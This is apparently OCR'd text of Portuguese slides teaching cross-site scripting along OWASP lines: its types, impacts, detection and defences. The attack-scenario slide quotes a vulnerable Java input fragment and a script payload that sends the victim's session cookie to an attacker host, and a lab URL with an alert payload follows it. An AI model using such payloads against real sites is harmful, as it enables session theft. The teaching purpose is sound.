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O que e

» E uma vulnerabilidade encontrada em
aplicacoes web, que permite a injecao de
codigos no lado do cliente, ou seja, altera a
pagina apenas no computador do usuario.
Esta vulnerabilidade é subdividida em trés
categorias, sendo

elas Refletido, Armazenado e baseado em
DOM.




Agentes de Ameaca

Especifico da
Aplicacdo

Considere alguém que
possa enviar dados ndo-
confiaveis para o
sisterna, incluindo
usuarios externos,
usuarios internos, e
administradores.

Vetores

- de Ataque [\

Os= atacantes enviam
ataques de script
baseado em texto que
exploram o
interpretador no
navegador. Quase
gualquer fonte de dados
pode ser um vetor de
ataque, incluindo fontes
internas como dados do
banco de dados.
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X55 & a mais predominante falha de seguranca em
aplicactes web. As falhas de X55 ocorrem quando
uma aplicacdo inclui os dados fornecidos pelo
usudrio na pagina, enviados ao navegador, sem a
validacdo ou filtro apropriados desse conteddo.
Existem trés tipos conhecidos de falhas X55: 1)
Persistente, 2) Refletido, e 3) X55 baseado em DOM.

A deteccdo da maioria das falhas X55 é bastante facil
via testes ou anadlise de codigo.

Técnicos
e ——

Atacantes podem
executar scripts no
navegador da vitima
para sequestrar sessdes
do usuario, desfigurar
web sites, inserir
contedado hostil,
redirecionar usuarios,
seqlestrar o navegador
usando malware, etc.
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Impactos
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——

Especifico do
Negocio [ Aplicacao

Considere o valor do
negocio do sisterna
afetado e todos os dados
que processa.

Também considere o
impacto no negocio da
exposicdo plblica da
vulnerabilidade.



XSS Reflected

» Cross-Site Scripting Refletido acontece
quando o servidor reflete o que enviamos
sem filtrar o que o usuario colocou, ou seja,
ao enviar um determinado parametro, o
servidor repete-o0 no codigo-fonte da pagina
sem tratar o que foi inserido, causando essa
vulnerabilidade




XSS Armazenado

» Armazenado, como o proprio nome ja diz, €
quando o cddigo malicioso a ser injetado nao
foi filtrado e esta armazenado, persistido em
algum componente da aplicacao, que
comumente refere-se ao banco de dados.
Quando alguma pagina for imprimir na tela o
conteudo armazenado, caso nao filtre os
caracteres nocivos, o XSS Stored é disparado




XSS DOM Based

» Este € o tipo mais dificil de ser encontrado
entre os trés porque depende de uma
vulnerabilidades em algum dos componentes
da pagina (geralmente codigos javascript)
caracterizado por ser disparado no momento
de execucao ao invés de vir embutido no
codigo fonte.




Estou Vuneravel

» Ndao garantir que todas as entradas fornecidas pelos usuarios sejam
apropriadamente filtradas,

» Vocé ndo verifica que elas sejam seguras via validacdo de entrada, antes de incluir
essa entrada na pagina de saida.

» Sem o adequado filtro ou validacao da saida,

» Se o Ajax esta sendo usado para atualizar a pagina dinamicamente, vocé esta
usando APIS seguras do JavaScript?

» Para APIS inseguras, codificacao ou validacdo também devem ser usadas.

» Porém, cada aplicacdo constroi paginas de saida diferentemente e utiliza
diferentes interpretadores no lado do navegador como JavaScript, ActiveX, Flash, e
Silverlight, criando dificuldades para a deteccao automatica.

» . Tecnologias Web 2.0, como Ajax, tornam o XSS muito mais dificil de detectar via
ferramentas automatizadas.




Como faco para evitar

Evitar XSS requer a separacao do dado nao confiavel do conteudo ativo no
navegador.

» 1. A opcao apropriada é filtrar adequadamente todos os dados nao-
confiaveis com base no contexto HTML (corpo, atributo, JavaScript, CSS
ou URL) no qual os dados serao colocados. Veja o OWASP XSS Prevention
ghgat Sheet para detalhes sobre os requisitos das técnicas de filtro de

ados.

» 2. “Lista branca" ou validacao de entrada positiva também é
recomendada pois ajuda a proteger contra XSS, mas ndo é uma defesa
completa, ja que muitas aplicacoes requerem caracteres especiais em
sua entraéla. Tal validacdo deve, tanto quanto possivel, validar o
tamanho, caracteres, formato, e as regras ?:Ie negocio sobre os dados
antes de aceitar a entrada.

» 3. Para conteudo rico considere bibliotecas de auto-sanitizacao como
OWASP's AntiSamy ou o Java HTML Sanitizer Project. 4. Considere a
Content Security Policy (CSP) para se defender contra XSS em todo o seu

Site.




Exemplo Cenario Ataque

» A aplicacao utiliza dados nao confiaveis na construgdo do
seguinte fragmento HTML sem validacao ou filtro:

(String) page += "<input name='creditcard’ type="TEXT" value=""
+ request.getParameter("CC") + "'>";

» O atacante modifica o parametro 'CC' em seu navegador para:
>

'><script>document.location= "http://www.attacker.com/cgi-
bin/cookie.cgi? foo="+document.cookie</script>".

» Isso causa o envio do ID de sessao da vitima para o site do
atacante, permitindo que o atacante sequestre a sessao atual do
usuario. Note que o atacante também pode usar o XSS para
anular qualquer defesa automatica de CSRF que a aplicacao

possa empregar. Veja o A8 para informacoes sobre CSRF.




Exemplo

» Acessar o link abaixo ira executar um script,
e apresentar um “alert” no browser:

» https://XSS—
game.appspot.com/levell /frame?query=%3C
script%3Ealert(1)%3C/script®%3E

P
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